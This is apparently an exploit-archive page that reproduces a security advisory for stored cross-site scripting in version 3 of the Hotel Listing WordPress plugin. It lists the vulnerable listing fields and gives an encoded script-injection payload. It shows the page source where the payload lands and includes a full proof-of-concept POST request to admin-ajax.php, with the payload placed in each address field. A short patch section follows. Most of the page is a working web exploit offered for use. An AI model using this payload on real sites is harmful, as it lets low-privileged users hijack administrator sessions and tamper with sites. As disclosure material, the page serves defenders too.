Exploit for WordPress Hotel Listing 3 Plugin - (Multiple) Cross-Site Scripting Vulnerability

Name: Exploit for WordPress Hotel Listing 3 Plugin - (Multiple) Cross-Site Scripting Vulnerability
Rating: 5 (118 reviews)
2021-11-03 | CVSS 7.1
## https://sploitus.com/exploit?id=1337DAY-ID-36984
# Exploit Title: WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS)
# Exploit Author: Vulnerability Lab
# Vendor Homepage: https://hotel.eplug-ins.com/
# Software Link: https://hotel.eplug-ins.com/hoteldoc/
# Version: v3


Document Title:
===============
Hotel Listing (WP Plugin) v3.x - MyAccount XSS Vulnerability


Product & Service Introduction:
===============================
Hotel, Motel , Bar & Restaurant Listing Plugin + Membership plugin using Wordpress with PHP and MySQL Technologie.

(Copy of the Homepage:https://hotel.eplug-ins.com/hoteldoc/  )



Affected Product(s):
====================
e-plugins
Product: Hotel Listing v3.x - Plugin Wordpress (Web-Application)



Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been discovered in the official Hotel Listing v3.x wordpress plugin web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The vulnerabilities are located in add new listing - address, city, zipcode, country and location input fields of the my-account module.
Remote attackers can register a low privileged application user account to inject own malicious script codes with persistent attack vector to
hijack user/admin session credentials or to permanently manipulate affected modules. The execute of the malicious injected script code takes
place in the frontend on preview but as well in the backend on interaction to edit or list (?&profile=all-post) by administrative accounts.
The request method to inject is post and the attack vector is persistent located on the application-side.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add New Listing


Vulnerable Input(s):
[+] address
[+] city
[+] zipcode
[+] country

Affected Module(s):
[+] Frontend on Preview (All Listings)
[+] Backend on Preview (All Listings) or Edit


Proof of Concept (PoC):
=======================
The persistent web vulnerabilities can be exploited by remote attackers with privilged user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Exploitation: Payload
%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E


Vulnerable Source: new-listing
<div class=" form-group row">
<div class="col-md-6 ">
<label for="text" class=" control-label col-md-4 ">Address</label>							
<input type="text" class="form-control col-md-8 " name="address" id="address" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter address Here">
</div>							
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">Area</label>							
<input type="text" class="form-control col-md-8" name="area" id="area" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter Area Here">
</div>														
</div>
<div class=" form-group row">
<div class="col-md-6 ">
<label for="text" class=" control-label col-md-4">City</label>
<input type="text" class="form-control col-md-8" name="city" id="city" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter city ">
</div>
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">Zipcode</label>							
<input type="text" class="form-control col-md-8" name="postcode" id="postcode" value="<[MALICIOUS SCRIPT CODE PAYLOAD!]>">>""
placeholder="Enter Zipcode ">
</div>
</div>
<div class=" form-group row">
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">State</label>							
<input type="text" class="form-control col-md-8" name="state" id="state" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter State ">
</div>
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">Country</label>							
<input type="text" class="form-control col-md-8" name="country" id="country" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter Country ">
</div>



--- PoC Session Logs (POST) ---
http://hotel-eplug-ins.localhost:8000/wp-admin/admin-ajax.php
Host: hotel-eplug-ins.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1603
Origin:http://hotel-eplug-ins.localhost:8000
Connection: keep-alive
Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing
-
action=iv_directories_save_listing&form_data=cpt_page=hotel&title=test1&new_post_content=test2&logo_image_id=&feature_image_id=
&gallery_image_ids=&post_status=pending&postcats%5B%5D=&address=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&area=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
city=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&postcode=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
state=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&country=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
latitude=&longitude=&new_tag=&phone=&fax=&contact-email=&contact_web=&award_title%5B%5D=&award_description%5B%5D=&
award_year%5B%5D=&menu_title%5B%5D=&menu_description%5B%5D=&menu_price%5B%5D=&menu_order%5B%5D=&room_title%5B%5D=&room_description%5B%5D=&room_price%5B%5D=&
room_order%5B%5D=&override_bookingf=no&booking_stcode=&youtube=&vimeo=&facebook=&linkedin=&twitter=&gplus=&pinterest=&instagram=&Rooms=&suites=&
Rating_stars=&CHECK_IN=&CHECK_out=&Cancellation=&Pets=&Children_and_Extra_Beds=&day_name%5B%5D=Monday+&day_value1%5B%5D=&
day_value2%5B%5D=&event-title=&event-detail=++&event_image_id=&user_post_id=&_wpnonce=50241bc992
-
POST: HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin:http://hotel-eplug-ins.localhost:8000
Access-Control-Allow-Credentials: true
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Encoding: gzip
-
http://hotel-eplug-ins.localhost:8000/my-account-2/?&profile=all-post
Host: hotel-eplug-ins.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing
-
GET: HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress
Location:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=all-post


Solution - Fix & Patch:
=======================
1. Encode and parse all vulnerable input fields on transmit via post method request
2. Restrict the input fields to disallow usage of special chars
3. Encode and escape the output content in the edit and list itself to prevent the execution point